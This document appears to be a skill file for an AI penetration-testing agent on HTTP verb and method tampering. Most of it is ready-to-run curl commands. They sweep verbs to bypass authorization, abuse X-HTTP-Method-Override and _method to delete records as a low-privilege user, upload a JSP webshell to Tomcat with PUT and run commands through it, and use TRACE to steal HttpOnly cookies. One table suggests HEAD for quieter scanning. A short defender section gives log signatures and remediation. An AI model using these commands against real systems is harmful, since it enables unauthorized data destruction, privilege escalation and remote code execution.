HTTP Verb / Method Tampering
Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.
1. Why it works
- Apache/nginx
Limit/LimitExceptrules in.htaccessoften list onlyGET POST. Any other verb is unrestricted. - Tomcat / JSP
<security-constraint><http-method>GET</http-method>only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family). - API gateways enforce method-specific policies; the upstream service treats verbs identically.
- Spring
@RequestMappingwithoutmethod=accepts every verb.@GetMapping/@PostMappingconstrain, but generic mappings do not. - Express.js
app.all(path, handler)answers every method. - Framework method-override middleware (
methodOverridein Express, Rails_method=DELETE,X-HTTP-Method-Overridein many) lets aPOSTbecome aDELETEafter auth runs. - Many WAFs ship rule sets keyed on
GET/POSTonly.
2. Detection — does the endpoint answer non-standard verbs?
# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
printf '%-10s -> %s\n' "$m" "$code"
done
# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.
HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.
# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"
3. Method-override headers
The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).
# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
-o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done
# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=DELETE' -b "session=$LOWPRIV"
# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"
4. Bypass patterns
| Pattern | Mechanic |
|---|---|
.htaccess Limit |
<Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb. |
Tomcat <http-method> constraint |
The constraint applies only to listed methods. Use any other. |
Spring generic @RequestMapping("/path") |
Every verb routes here. Author meant only POST. |
Express app.all / no method-guard |
Same. |
| Method-override after auth | POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades. |
_method=PATCH body field |
Rails/Laravel/Symfony idiom; the auth layer saw a POST. |
WAF gating on GET/POST only |
Send the payload as PATCH or FOO. |
| TRACE/TRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache |
Direct file upload / RCE on misconfigured WebDAV. |
OPTIONS * |
Discloses enabled methods on the whole server: `curl -X OPTIONS -i http:///* |
5. Exploit PoCs
5.1 Admin action via HEAD bypass
# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"
5.2 Method-override DELETE
# Low-priv user can POST. Override flips to DELETE on a record they shouldn't touch.
curl -sk -X POST "http://<TARGET>/api/v1/users/9001" \
-H 'X-HTTP-Method-Override: DELETE' \
-H "Authorization: Bearer $LOWPRIV_JWT" -i
5.3 Tomcat PUT → JSP webshell (CVE-2017-12615 family)
curl -sk -X PUT "http://<TARGET>/uploads/shell.jsp/" \
--data-binary @shell.jsp -H 'Content-Type: application/octet-stream' -i
# Trailing slash on the URI defeats the JSP filter on vulnerable Tomcats.
curl -sk "http://<TARGET>/uploads/shell.jsp?cmd=id"
5.4 OPTIONS leak + CORS pivot
curl -sk -X OPTIONS "http://<TARGET>/api/admin" -i | grep -iE 'allow|access-control-allow-methods'
# Use any listed method that bypasses auth in step 2.
5.5 TRACE / XST
curl -sk -X TRACE "http://<TARGET>/" -H 'X-Stolen: cookie-via-XSS' -i
# If TRACE echoes the request, XST chain with reflected XSS can read HttpOnly cookies.
5.6 Arbitrary verb
# Some servers route ANY method to the same handler — including FOO/BAR.
curl -sk -X FOO "http://<TARGET>/admin/users" -i
6. Chains
| Chain | Mechanic |
|---|---|
| BFLA / IDOR | Object scoping checked on GET, missing on DELETE/PUT — delete or modify other tenants' resources. |
| Privilege escalation | POST /users allowed → X-HTTP-Method-Override: PUT to overwrite role=admin. |
| Mass-assignment | PATCH accepted where POST is parameter-filtered — submit hidden fields. |
| WAF bypass | Whole rule sets attached only to GET/POST. Re-issue payload as PATCH. |
| File RCE | WebDAV PUT/PROPFIND/MOVE on IIS/Tomcat → write executable into web root. |
| XST | TRACE + reflected XSS → exfil HttpOnly cookies (now mostly mitigated by browsers, but still credible in custom clients). |
| OPSEC noise reduction | HEAD produces no response body — quieter scanning than GET. |
7. Tools
- Burp Suite — Repeater "Change request method", Intruder verb-payload list, HTTP Method Interchange extension.
nuclei -t http/misconfiguration/http-method-tampering*/http/misconfiguration/trace-method.yaml.nikto -Tuning 6— method/file checks.httpx -methods GET,POST,PUT,DELETE,PATCH,OPTIONS,HEAD,TRACE -path /admin -mc 200,302.davtest/cadaverfor WebDAV.ffuf -X PATCHetc. — fuzz every endpoint with each method.
8. Detection signatures (defenders)
| Signal | Source |
|---|---|
Non-standard verbs in access logs (PATCH, TRACE, FOO) |
nginx / Apache logs |
X-HTTP-Method-Override header present and request body indicates state-change |
WAF / reverse proxy logs |
OPTIONS requests with Origin from outside CORS allowlist returning 2xx |
API gateway logs |
Successful HEAD on a GET-401 path |
correlation rule |
Auth filter sees method POST, handler logs method DELETE |
app telemetry |
TRACE/TRACK enabled at all |
config audit |
Remediation: enforce auth before method routing; treat HEAD as GET for auth purposes; ignore method-override headers unless explicitly required; allowlist methods per route (405 everything else); disable TRACE/TRACK/unused WebDAV verbs at the server.
9. Decision gate
| Observation | Action |
|---|---|
| Verb sweep shows divergent status on protected path | Confirm with a state-changing PoC, escalate |
X-HTTP-Method-Override flips the action |
Chain to BFLA/IDOR/mass-assignment |
| Only response-size difference, no auth bypass | Low — fold into recon |
TRACE echoes but no reflected XSS available |
Note for chaining, do not over-report |
| PUT/WebDAV writes a file under web root | Critical, jump to RCE chain |
Cross-references
- BFLA / object-level auth:
skills/standard/exploit/web/bfla/SKILL.md - Mass-assignment:
skills/standard/exploit/web/mass-assignment/SKILL.md - HPP (sister parser-discrepancy class):
skills/standard/exploit/web/hpp/SKILL.md - WAF bypass:
skills/standard/exploit/web/waf-bypass/SKILL.md - File upload / WebDAV RCE:
skills/standard/exploit/web/file-upload/SKILL.md